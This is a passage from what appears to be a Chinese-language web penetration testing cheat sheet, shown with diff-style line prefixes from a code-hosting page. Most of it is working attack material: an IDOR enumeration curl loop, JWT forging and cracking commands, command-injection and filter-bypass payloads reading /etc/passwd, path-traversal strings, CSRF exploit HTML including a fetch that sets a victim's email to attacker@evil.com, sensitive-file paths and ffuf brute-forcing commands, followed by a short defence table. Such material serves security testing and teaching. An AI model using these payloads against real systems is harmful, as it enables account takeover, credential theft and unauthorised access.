for id in $(seq 1 1000); do
|
||||
curl -s -H "Auth: TOKEN" "https://api.target.com/users/$id" | grep -v "403"
|
||||
done
|
||||
```
|
||||
|
||||
### 常见 IDOR 位置
|
||||
|
||||
```text
|
||||
- /api/users/{id}
|
||||
- /api/orders/{id}
|
||||
- /api/files/{id}/download
|
||||
- /api/messages/{id}
|
||||
- /api/invoices/{id}.pdf
|
||||
- /profile?user_id=xxx
|
||||
- /download?file_id=xxx
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 认证绕过
|
||||
|
||||
### JWT 攻击
|
||||
|
||||
```bash
|
||||
# 算法混淆(none)
|
||||
# Header: {"alg":"none","typ":"JWT"}
|
||||
# 去掉签名部分
|
||||
|
||||
# 密钥爆破
|
||||
hashcat -m 16500 jwt.txt wordlist.txt
|
||||
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
|
||||
|
||||
# RS256 → HS256 降级
|
||||
# 用公钥作为 HMAC 密钥签名
|
||||
```
|
||||
|
||||
### 密码重置漏洞
|
||||
|
||||
```text
|
||||
□ 重置 token 可预测(时间戳/递增)
|
||||
□ 重置链接不过期
|
||||
□ Host 头注入(修改 Host → 重置链接指向攻击者)
|
||||
□ 验证码可爆破(4-6 位无频率限制)
|
||||
□ 邮箱/手机号参数可篡改
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 命令注入
|
||||
|
||||
### 检测
|
||||
|
||||
```bash
|
||||
# Linux
|
||||
; id
|
||||
| id
|
||||
`id`
|
||||
$(id)
|
||||
; sleep 5
|
||||
| sleep 5
|
||||
|
||||
# Windows
|
||||
& whoami
|
||||
| whoami
|
||||
; dir
|
||||
`dir`
|
||||
```
|
||||
|
||||
### 绕过
|
||||
|
||||
```bash
|
||||
# 空格绕过
|
||||
cat${IFS}/etc/passwd
|
||||
{cat,/etc/passwd}
|
||||
cat</etc/passwd
|
||||
|
||||
# 关键字绕过
|
||||
c'a't /etc/passwd
|
||||
c""at /etc/passwd
|
||||
/bin/c?t /etc/passwd
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 目录遍历
|
||||
|
||||
### Payload
|
||||
|
||||
```text
|
||||
../../../etc/passwd
|
||||
..%2f..%2f..%2fetc/passwd
|
||||
....//....//....//etc/passwd
|
||||
..%252f..%252f..%252fetc/passwd
|
||||
/..%c0%af../..%c0%af../etc/passwd
|
||||
```
|
||||
|
||||
### Windows
|
||||
|
||||
```text
|
||||
..\..\..\windows\win.ini
|
||||
..%5c..%5c..%5cwindows%5cwin.ini
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## CSRF(跨站请求伪造)
|
||||
|
||||
### 检测
|
||||
|
||||
```text
|
||||
□ 关键操作无 CSRF Token
|
||||
□ Token 不验证(删除 token 参数仍可请求)
|
||||
□ Token 不绑定会话(A 的 token 可用于 B)
|
||||
□ Referer 检查可绕过(空 Referer)
|
||||
□ JSON 请求无 Content-Type 校验
|
||||
```
|
||||
|
||||
### 利用
|
||||
|
||||
```html
|
||||
<!-- 自动提交表单 -->
|
||||
<form action="https://target.com/transfer" method="POST">
|
||||
<input name="to" value="attacker">
|
||||
<input name="amount" value="10000">
|
||||
</form>
|
||||
<script>document.forms[0].submit();</script>
|
||||
|
||||
<!-- JSON CSRF -->
|
||||
<script>
|
||||
fetch('https://target.com/api/change-email', {
|
||||
method: 'POST',
|
||||
credentials: 'include',
|
||||
headers: {'Content-Type': 'text/plain'},
|
||||
body: '{"email":"attacker@evil.com"}'
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 信息泄露
|
||||
|
||||
### 常见泄露点
|
||||
|
||||
```bash
|
||||
# 配置文件
|
||||
/.env
|
||||
/config.php.bak
|
||||
/web.config
|
||||
/.git/config
|
||||
/.svn/entries
|
||||
|
||||
# 调试信息
|
||||
/debug
|
||||
/trace
|
||||
/actuator/env (Spring Boot)
|
||||
/swagger-ui.html (API 文档)
|
||||
/__debug__ (Django)
|
||||
|
||||
# 备份文件
|
||||
/backup.sql
|
||||
/db.sql.gz
|
||||
/site.tar.gz
|
||||
/*.bak
|
||||
```
|
||||
|
||||
### FFUF 发现
|
||||
|
||||
```bash
|
||||
# 目录爆破
|
||||
ffuf -u https://target.com/FUZZ -w /path/to/SecLists/Discovery/Web-Content/common.txt
|
||||
|
||||
# 参数发现
|
||||
ffuf -u "https://target.com/api?FUZZ=test" -w /path/to/SecLists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
|
||||
|
||||
# 子域名爆破
|
||||
ffuf -u https://FUZZ.target.com -w /path/to/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
|
||||
|
||||
# 虚拟主机发现
|
||||
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -fs 0
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 防御建议速查
|
||||
|
||||
| 漏洞 | 核心防御 |
|
||||
|------|---------|
|
||||
| SQL 注入 | 参数化查询(PreparedStatement) |
|
||||
| XSS | 输出编码 + CSP + HttpOnly Cookie |
|
||||
| SSRF | 白名单 URL + 禁止内网 IP + 禁止非 HTTP 协议 |
|
||||
| 文件上传 | 白名单后缀 + 重命名 + 独立存储域 + 文件头校验 |
|
||||
| IDOR | 服务端鉴权(不信任客户端传的 ID) |
|
||||
| CSRF | SameSite Cookie + CSRF Token + Referer 校验 |
|
||||
| 命令注入 | 避免拼接命令 + 白名单参数 + 沙箱执行 |
|
||||
| 目录遍历 | 规范化路径 + chroot + 白名单文件 |
|
||||
| JWT | 强密钥 + RS256 + 短过期 + 黑名单 |
|
||||
Reference in New Issue
Block a user